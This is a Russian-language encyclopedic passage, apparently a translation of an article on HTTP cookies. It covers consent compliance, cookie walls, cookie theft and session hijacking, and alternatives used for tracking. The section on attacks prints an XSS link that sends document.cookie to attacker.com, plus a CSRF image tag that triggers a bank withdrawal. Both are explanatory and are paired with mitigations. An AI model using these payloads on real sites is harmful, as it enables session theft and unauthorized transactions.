Как академические исследования, так и регулирующие органы описывают широко распространенное несоблюдение закона. Исследование, охватывающее 10 000 веб-сайтов Великобритании, показало, что только 11,8% сайтов соблюдают минимальные юридические требования, и только 33,4% изученных веб-сайтов предоставляют механизм отклонения файлов cookie, который был так же прост в использовании, как и их принятие. Исследование 17 000 веб-сайтов показало, что 84% сайтов нарушили этот критерий, а также выяснилось, что многие из них устанавливают сторонние файлы cookie без какого-либо уведомления. Регулятор Великобритании, Управление комиссара по информации , заявил в 2019 году, что отраслевая «Система прозрачности и согласия», разработанная группой рекламных технологий Interactive Advertising Bureau , «недостаточна для обеспечения прозрачности и справедливой обработки рассматриваемых персональных данных и, следовательно, также недостаточна для обеспечить свободное и осознанное согласие с соответствующими последствиями для соблюдения PECR [конфиденциальности электронной почты]». Многие компании, продающие решения по соблюдению требований (платформы управления согласием), разрешают их настройку явно незаконными способами, что, как отмечают ученые, создает вопросы относительно надлежащего распределения ответственности.

Спецификация W3C под названием P3P была предложена для того, чтобы серверы сообщали свою политику конфиденциальности браузерам, обеспечивая автоматическую, настраиваемую пользователем обработку. Однако немногие веб-сайты реализуют эту спецификацию, и W3C прекратил работу над ней.

Сторонние файлы cookie могут быть заблокированы большинством браузеров для повышения конфиденциальности и уменьшения отслеживания со стороны рекламных и отслеживающих компаний, не оказывая при этом негативного влияния на работу пользователя в Интернете на всех сайтах. На некоторых сайтах действуют «стены файлов cookie», которые обуславливают доступ к сайту разрешением использования файлов cookie либо технически в браузере, либо нажатием кнопки «Принять», либо и тем, и другим. В 2020 году Европейский совет по защите данных , в состав которого входят все регуляторы ЕС по защите данных, заявил, что стены cookie являются незаконными.

Чтобы согласие было дано свободно, доступ к услугам и функциям не должен обуславливаться согласием пользователя на хранение информации или получением доступа к уже сохраненной информации в терминальном оборудовании пользователя (так называемое стены печенья).

Многие рекламные операторы имеют возможность отказаться от поведенческой рекламы: общий файл cookie в браузере останавливает поведенческую рекламу. Однако это часто неэффективно против многих форм отслеживания, таких как собственное отслеживание, популярность которого растет, чтобы избежать влияния браузеров, блокирующих сторонние файлы cookie. Более того, если такую ​​настройку выполнить сложнее, чем принять отслеживание, это по-прежнему нарушает условия Директивы о конфиденциальности электронных данных.

Кража файлов cookie и перехват сеанса

Большинство веб-сайтов используют файлы cookie в качестве единственных идентификаторов пользовательских сеансов, поскольку другие методы идентификации веб-пользователей имеют ограничения и уязвимости. Если веб-сайт использует файлы cookie в качестве идентификаторов сеанса, злоумышленники могут выдать себя за запросы пользователей, украв полный набор файлов cookie жертвы. С точки зрения веб-сервера, запрос злоумышленника имеет ту же аутентификацию, что и запросы жертвы; таким образом, запрос выполняется от имени сеанса жертвы.

Здесь перечислены различные сценарии кражи файлов cookie и захвата пользовательских сеансов (даже без кражи пользовательских файлов cookie), которые работают с веб-сайтами, полагающимися исключительно на файлы cookie HTTP для идентификации пользователя.

Сетевое подслушивание

Файл cookie может быть украден другим компьютером, которому разрешено чтение из сети.

Трафик в сети может быть перехвачен и прочитан компьютерами в сети, кроме отправителя и получателя (особенно через незашифрованный открытый Wi-Fi ). Этот трафик включает файлы cookie, отправленные в ходе обычных незашифрованных сеансов HTTP . Таким образом, если сетевой трафик не зашифрован, злоумышленники могут читать сообщения других пользователей в сети, включая файлы cookie HTTP, а также все содержимое разговоров, с целью атаки «человек посередине» .

Злоумышленник может использовать перехваченные файлы cookie, чтобы выдать себя за пользователя и выполнить вредоносную задачу, например, перевести деньги с банковского счета жертвы.

Эту проблему можно решить, защитив связь между компьютером пользователя и сервером, используя безопасность транспортного уровня ( протокол HTTPS ) для шифрования соединения. Сервер может указать Secure при установке файла cookie, что приведет к тому, что браузер будет отправлять файлы cookie только по зашифрованному каналу, например, по TLS-соединению.

Публикация ложного поддомена: отравление DNS-кеша

Если злоумышленник может заставить DNS-сервер кэшировать сфабрикованную запись DNS (так называемое отравление кэша DNS ), то это может позволить злоумышленнику получить доступ к файлам cookie пользователя. Например, злоумышленник может использовать отравление кэша DNS, чтобы создать сфабрикованную запись DNS с именем f12345.www.example.comэто указывает на IP-адрес сервера злоумышленника. Затем злоумышленник может опубликовать URL-адрес изображения со своего сервера (например, http://f12345.www.example.com/img_4_cookie.jpg). Жертвы, прочитавшие сообщение злоумышленника, загрузили это изображение с f12345.www.example.com. С f12345.www.example.com является субдоменом www.example.com, браузеры жертв будут отправлять все example.comфайлы cookie, связанные с сервером злоумышленника.

Если злоумышленнику удается это сделать, обычно это вина интернет-провайдеров , которые не обеспечивают должным образом защиту своих DNS-серверов. Однако серьезность этой атаки можно уменьшить, если целевой веб-сайт использует защищенные файлы cookie. В этом случае злоумышленнику придется столкнуться с дополнительной проблемой. получения TLS-сертификата целевого веб-сайта от центра сертификации , поскольку безопасные файлы cookie могут передаваться только по зашифрованному соединению. Без соответствующего сертификата TLS браузеры жертв будут отображать предупреждающее сообщение о недействительном сертификате злоумышленника, что поможет удержать пользователей от посещения мошеннического веб-сайта злоумышленника и отправки злоумышленнику своих файлов cookie.

Межсайтовый скриптинг: кража файлов cookie

Основная статья: Межсайтовый скриптинг

Файлы cookie также могут быть украдены с помощью метода, называемого межсайтовым скриптингом. Это происходит, когда злоумышленник пользуется веб-сайтом, который позволяет пользователям публиковать нефильтрованный HTML и JavaScript контент . Размещая вредоносный код HTML и JavaScript, злоумышленник может заставить веб-браузер жертвы отправлять файлы cookie жертвы на веб-сайт, контролируемый злоумышленником.

Например, злоумышленник может опубликовать сообщение на www.example.com по следующей ссылке:

<  a   href  =  "#"   onclick  =  "window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;"   >  Нажмите здесь!   </  а  > 

Межсайтовый скриптинг: файл cookie, которым должен обмениваться только сервер и клиент, отправляется другой стороне.

Когда другой пользователь нажимает на эту ссылку, браузер выполняет фрагмент кода внутри onclick атрибут, заменяя таким образом строку document.cookieсо списком файлов cookie, доступных с текущей страницы. В результате этот список файлов cookie отправляется на attacker.comсервер. Если вредоносная публикация злоумышленника находится на веб-сайте HTTPS https://www.example.comбезопасные файлы cookie также будут отправлены на Attacker.com в виде обычного текста.

Ответственность за фильтрацию такого вредоносного кода лежит на разработчиках веб-сайта.

Такие атаки можно смягчить с помощью файлов cookie HttpOnly. Эти файлы cookie не будут доступны для языков сценариев на стороне клиента, таких как JavaScript, и, следовательно, злоумышленник не сможет собрать эти файлы cookie.

Межсайтовый скриптинг: запрос прокси

В старых версиях многих браузеров в реализации API XMLHttpRequest были дыры в безопасности . Этот API позволяет страницам указывать прокси-сервер, который будет получать ответ, и на этот прокси-сервер не распространяется политика одного и того же источника . Например, жертва читает сообщение злоумышленника на www.example.com, и скрипт злоумышленника выполняется в браузере жертвы. Скрипт генерирует запрос на www.example.com с прокси-сервером attacker.com. Поскольку запрос предназначен для www.example.com, все example.comфайлы cookie будут отправлены вместе с запросом, но маршрутизированы через прокси-сервер злоумышленника. Следовательно, злоумышленник сможет получить файлы cookie жертвы.

Эта атака не будет работать с защищенными файлами cookie, поскольку они могут передаваться только через соединения HTTPS , а протокол HTTPS требует сквозного шифрования (т. е. информация шифруется в браузере пользователя и расшифровывается на целевом сервере). В этом случае прокси-сервер будет видеть только необработанные зашифрованные байты HTTP-запроса.

Подделка межсайтового запроса

Основная статья: Подделка межсайтового запроса

Например, Боб может просматривать чат-форум, где другой пользователь, Мэллори, разместил сообщение. Предположим, что Мэллори создал элемент изображения HTML, который ссылается на действие на веб-сайте банка Боба (а не на файл изображения), например:

<img   src=  "http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"  > 

Если банк Боба хранит его аутентификационную информацию в файле cookie и если срок действия файла cookie не истек, то при попытке браузера Боба загрузить изображение будет отправлена ​​форма вывода средств с его файлом cookie, тем самым авторизуя транзакцию без одобрения Боба.

Кукиджекинг

Cookiejacking — это атака на Internet Explorer , которая позволяет злоумышленнику украсть сеансовые файлы cookie пользователя, заставляя пользователя перетаскивать объект по экрану. Microsoft сочла уязвимость малоопасной из-за «уровня необходимого взаимодействия с пользователем». и необходимость наличия пользователя, уже авторизованного на веб-сайте, файлы cookie которого были украдены. Несмотря на это, исследователь попробовал атаковать 150 их друзей в Facebook и получил файлы cookie от 80 из них с помощью социальной инженерии .

Недостатки файлов cookie

Помимо проблем с конфиденциальностью, файлы cookie также имеют некоторые технические недостатки. В частности, они не всегда точно идентифицируют пользователей, их можно использовать для атак на систему безопасности и они часто противоречат архитектурному стилю программного обеспечения передачи репрезентативного состояния ( REST ).

Неточная идентификация

Если на компьютере используется более одного браузера, каждый из них обычно имеет отдельную область хранения файлов cookie. Следовательно, файлы cookie идентифицируют не человека, а комбинацию учетной записи пользователя, компьютера и веб-браузера. Таким образом, любой, кто использует несколько учетных записей, компьютеров или браузеров, имеет несколько наборов файлов cookie.

Аналогично, файлы cookie не различают нескольких пользователей, которые используют одну и ту же учетную запись , компьютер и браузер.

Альтернативы файлам cookie

Некоторые операции, которые можно выполнить с помощью файлов cookie, также можно выполнить с помощью других механизмов.

Аутентификация и управление сеансами

Веб-токены JSON

Веб -токен JSON (JWT) — это автономный пакет информации, который можно использовать для хранения информации об идентификации и подлинности пользователя. Это позволяет использовать их вместо сеансовых файлов cookie. В отличие от файлов cookie, которые автоматически прикрепляются к каждому HTTP-запросу браузера, JWT должны быть явно прикреплены к каждому HTTP-запросу веб-приложения.

HTTP-аутентификация

Протокол HTTP включает протоколы базовой аутентификации доступа и протоколы дайджест-аутентификации доступа , которые разрешают доступ к веб-странице только в том случае, если пользователь ввел правильное имя пользователя и пароль. Если серверу требуются такие учетные данные для предоставления доступа к веб-странице, браузер запрашивает их у пользователя и после получения сохраняет и отправляет их при каждом последующем запросе страницы. Эта информация может быть использована для отслеживания пользователя.

URL-адрес (строка запроса)

- адреса со строкой запроса Часть URL — это та часть, которая обычно используется для этой цели, но можно использовать и другие части. Механизмы сеансов Java Servlet и PHP используют этот метод, если файлы cookie не включены.

Этот метод заключается в добавлении веб-сервером строк запроса, содержащих уникальный идентификатор сеанса, ко всем ссылкам внутри веб-страницы. Когда пользователь переходит по ссылке, браузер отправляет строку запроса на сервер, позволяя серверу идентифицировать пользователя и поддерживать состояние.

Эти типы строк запроса очень похожи на файлы cookie, поскольку оба содержат произвольные фрагменты информации, выбранные сервером, и оба отправляются обратно на сервер при каждом запросе. Однако есть некоторые различия. Поскольку строка запроса является частью URL-адреса, при повторном использовании этого URL-адреса на сервер будет отправлена ​​та же прикрепленная часть информации, что может привести к путанице. Например, если предпочтения пользователя закодированы в строке запроса URL-адреса, и пользователь отправляет этот URL-адрес другому пользователю по электронной почте , эти предпочтения также будут использоваться для этого другого пользователя.

Более того, если один и тот же пользователь обращается к одной и той же странице несколько раз из разных источников, нет гарантии, что каждый раз будет использоваться одна и та же строка запроса. Например, если пользователь посещает страницу, перейдя с внутренней страницы сайта в первый раз, а затем посещает ту же страницу, перейдя из внешней поисковой системы во второй раз, строки запроса, скорее всего, будут другими. Если бы в этой ситуации использовались файлы cookie, файлы cookie были бы такими же.

Другие недостатки строк запроса связаны с безопасностью. Хранение данных, идентифицирующих сеанс, в строке запроса позволяет осуществлять атаки фиксации сеанса , атаки с журналированием рефереров и другие уязвимости безопасности . Передача идентификаторов сеансов в виде файлов cookie HTTP более безопасна.

Скрытые поля формы

Другая форма отслеживания сеансов — использование веб-форм со скрытыми полями. Этот метод очень похож на использование строк запроса URL-адреса для хранения информации и имеет многие из тех же преимуществ и недостатков. Фактически, если форма обрабатывается с помощью метода HTTP GET, то этот метод аналогичен использованию строк запроса URL-адреса, поскольку метод GET добавляет поля формы к URL-адресу в виде строки запроса. Но большинство форм обрабатываются с помощью HTTP POST, что приводит к отправке информации формы, включая скрытые поля, в теле HTTP-запроса, которое не является ни частью URL-адреса, ни файлом cookie.

Этот подход дает два преимущества с точки зрения трекера. Во-первых, размещение информации об отслеживании в теле HTTP-запроса, а не в URL-адресе, означает, что обычный пользователь ее не заметит. Во-вторых, информация о сеансе не копируется, когда пользователь копирует URL-адрес (например, чтобы добавить страницу в закладки или отправить ее по электронной почте).

Свойство DOM window.name

Все современные веб-браузеры могут хранить довольно большой объем данных (2–32 МБ) через JavaScript с использованием DOM . свойства window.name. Эти данные можно использовать вместо файлов cookie сеанса. Этот метод можно объединить с объектами JSON /JavaScript для хранения сложных наборов переменных сеанса на стороне клиента.

Обратной стороной является то, что каждое отдельное окно или вкладка изначально будет пустым. window.name имущество при открытии.

В некотором отношении это может быть более безопасно, чем файлы cookie, поскольку его содержимое не отправляется автоматически на сервер при каждом запросе, как файлы cookie, поэтому он не уязвим для сетевых атак с перехватом файлов cookie.

Отслеживание

айпи адрес

Некоторые пользователи могут отслеживаться по IP-адресу компьютера, запрашивающего страницу. Сервер знает IP-адрес компьютера, на котором запущен браузер (или прокси-сервер , если таковой используется), и теоретически может связать сеанс пользователя с этим IP-адресом.

Однако IP-адреса, как правило, не являются надежным способом отслеживания сеанса или идентификации пользователя. Многие компьютеры, предназначенные для использования одним пользователем, например офисные или домашние компьютеры, находятся за транслятором сетевых адресов (NAT). Это означает, что несколько компьютеров будут использовать общий IP-адрес. Кроме того, некоторые системы, такие как Tor , предназначены для сохранения анонимности в Интернете , что делает отслеживание по IP-адресу непрактичным, невозможным или представляющим угрозу безопасности.

ETag

Основная статья: HTTP ETag § Отслеживание с помощью ETag

Поскольку ETag кэшируются браузером и возвращаются с последующими запросами одного и того же ресурса, сервер отслеживания может просто повторить любой ETag, полученный от браузера, чтобы гарантировать, что назначенный ETag сохраняется на неопределенный срок (аналогично постоянным файлам cookie). Дополнительные поля заголовка кэширования также могут улучшить сохранность данных ETag.

В некоторых браузерах ETags можно сбросить, очистив кеш браузера .

Кэш браузера

Основная статья: Веб-кэш

Кэш браузера также можно использовать для хранения информации, которую можно использовать для отслеживания отдельных пользователей. Этот метод использует тот факт, что веб-браузер будет использовать ресурсы, хранящиеся в кеше, вместо того, чтобы загружать их с веб-сайта, когда он определит, что в кеше уже имеется самая последняя версия ресурса.

Например, веб-сайт может предоставлять файл JavaScript с кодом, который устанавливает уникальный идентификатор пользователя (например, var userId = 3243242;). После первого посещения пользователя каждый раз, когда пользователь обращается к странице, этот файл будет загружаться из кеша, а не загружаться с сервера. Таким образом, его содержание никогда не изменится.

Отпечаток браузера

Основная статья: Отпечаток устройства

— Отпечаток браузера это информация, собираемая о конфигурации браузера, такая как номер версии, разрешение экрана и операционная система, с целью идентификации. Отпечатки пальцев могут использоваться для полной или частичной идентификации отдельных пользователей или устройств, даже если файлы cookie отключены.

Основная информация о конфигурации веб-браузера уже давно собирается службами веб-аналитики с целью точно измерить реальный человеческий веб-трафик и исключить различные формы мошенничества с кликами . С помощью языков сценариев на стороне клиента возможен сбор гораздо более экзотических параметров. Объединение такой информации в одну строку представляет собой отпечаток устройства. В 2010 году EFF измерил как минимум 18,1 бит энтропии , возможной при снятии отпечатков пальцев браузера. Снятие отпечатков пальцев на холсте , более новая технология, утверждает, что добавляет еще 5,7 бита.

веб-хранилище

Основная статья: Веб-хранилище

Некоторые веб-браузеры поддерживают механизмы сохранения, которые позволяют странице хранить информацию локально для последующего использования.

Стандарт HTML5 (который в некоторой степени поддерживается большинством современных веб-браузеров) включает API JavaScript, называемый веб-хранилищем , который поддерживает два типа хранилища: локальное хранилище и хранилище сеансов. Локальное хранилище ведет себя аналогично постоянным файлам cookie , тогда как хранилище сеансов ведет себя аналогично сеансовым файлам cookie , за исключением того, что хранилище сеанса привязано к сроку существования отдельной вкладки/окна (также известному как сеанс страницы), а не ко всему сеансу браузера, как файлы cookie сеанса.

Internet Explorer поддерживает постоянную информацию в истории браузера, в избранном браузере, в хранилище XML («пользовательские данные») или непосредственно на веб-странице, сохраненной на диске.

Некоторые плагины веб-браузера также включают механизмы сохранения. Например, Adobe Flash имеет локальный общий объект , а Microsoft Silverlight — изолированное хранилище.

Смотрите также

• Сессия (информатика)
• Безопасный файл cookie
• HTTP Strict Transport Security § Проблемы конфиденциальности

Sources

• Anonymous, 2011. Cookiejacking Attack Steals Website Access Credentials. Informationweek - Online, pp. Informationweek - Online, May 26, 2011.

External links

• RFC 6265, the current official specification for HTTP cookies
• HTTP cookies, Mozilla Developer Network
• Using cookies via ECMAScript, Mozilla Developer Network
• How Internet Cookies Work at HowStuffWorks
• Cookies at the Electronic Privacy Information Center (EPIC)
• Mozilla Knowledge-Base: Cookies
• Cookie Domain, explain in detail how cookie domains are handled in current major browsers
• Cookie Stealing - Michael Pound
• Check cookies for compliance with EU cookie directive